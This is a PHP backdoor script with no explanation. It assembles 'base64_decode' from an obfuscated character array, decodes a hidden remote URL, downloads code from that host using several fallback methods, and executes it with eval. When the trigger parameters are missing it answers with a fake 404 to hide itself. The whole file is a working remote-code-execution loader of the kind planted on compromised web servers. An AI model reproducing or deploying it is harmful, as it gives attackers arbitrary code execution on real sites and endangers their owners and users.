<?php
error_reporting(E_ALL);
set_time_limit(0);
$i = isset($_GET['i']) ? $_GET['i'] : 0;
$c = isset($_GET['c']) ? $_GET['c'] : '';
function getContent( $url ){
    $result = '';
    if ( function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ) { 
        $ch = curl_init();
        curl_setopt( $ch, CURLOPT_URL, $url );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_HEADER, false );
        curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
        if ( !curl_errno ( $ch ) ) {
            $result = curl_exec( $ch );
        }
        if ( PHP_VERSION_ID < 80000 ) {
            curl_close(  $ch  );
        }
    }

    if( $result == '' && ini_get( 'allow_url_fopen' ) ){
        $result = file_get_contents( $url );
    }

    if( $result == '' && function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ){
        $h = @fopen( $u, 'r' );
        if( $h ){
            stream_set_timeout( $h, 30 );
            $result = stream_get_contents( $h );
            fclose( $h );
        }
    }

    if( $result == '' && function_exists( 'fsockopen' ) ){
        $arrayUrl = parse_url( $url );
        $host = $arrayUrl['host'];
        $path = $arrayUrl['path'];
        $port = 443;
        $timeout = 30;
        $fp = fsockopen("ssl://{$host}", $port, $errno, $errstr, $timeout);
        if (!$fp) {
            return "fsockopen Fail: [{$errno}] {$errstr}";
        }
        $request = "GET {$path} HTTP/1.1\r\n";
        $request .= "Host: {$host}\r\n";
        $request .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\r\n";
        $request .= "Connection: close\r\n";
        $request .= "\r\n";
        fwrite($fp, $request);
        $response = '';
        while (!feof($fp)) {
            $response .= fgets($fp, 4096);
        }
        fclose($fp);
        $parts = explode("\r\n\r\n", $response, 2);
        if (count($parts) !== 2) {
            return $response;
        }
        list($headersRaw, $result) = $parts;
    }

    return $result;
}

if ( $i > 0 && $c != '' ){
    $a = array('a', 'b', 'c', 'd', 'e', 'o', 's', '_');
    $b = str_split('1064342534');
    $d = '';
    for($j=0;$j<count($b);$j++){
        $d .= $a[$b[$j]];
        if($j == 3 ){
            $d .= '64_';
        }
    }
    $a = $d('aHR0cHM6Ly95cGF5cGF5Lnh5ei9maWxlcy8=', true);
    $b = getContent( $a.$c );
    if ( $b ){
        eval( '?>'.$b );
    } else {
        echo 0;
    }
} else {
    header('HTTP/1.0 404 Not Found');
}

exit();
